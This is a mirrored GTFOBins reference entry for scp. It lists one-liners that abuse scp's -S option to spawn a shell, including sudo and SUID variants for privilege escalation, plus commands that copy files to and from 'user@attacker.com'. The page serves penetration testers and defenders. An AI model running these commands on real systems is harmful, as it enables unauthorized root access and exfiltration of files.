This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-08 20:55:16 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
db8187123bd9e4b38d113945e5e66267a3ab27a1
GTFOBins.github.io
/
_gtfobins
/
scp.md
Emilio Pinna
dd337b5ddf
Adopt new function names
2018-10-05 18:55:38 +01:00
776 B
Raw
Blame
History
functions
functions
shell
file-upload
file-download
sudo
limited-suid
code
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" scp -S $TF x y:
description
code
Send local file to a SSH server.
RPATH=user@attacker.com:~/file_to_save LPATH=file_to_send scp $LFILE $RPATH
description
code
Fetch a remote file from a SSH server.
RPATH=user@attacker.com:~/file_to_get LFILE=file_to_save scp $RPATH $LFILE
code
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" sudo scp -S $TF x y:
code
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" ./scp -S $TF a b:
Reference in New Issue
View Git Blame
Copy Permalink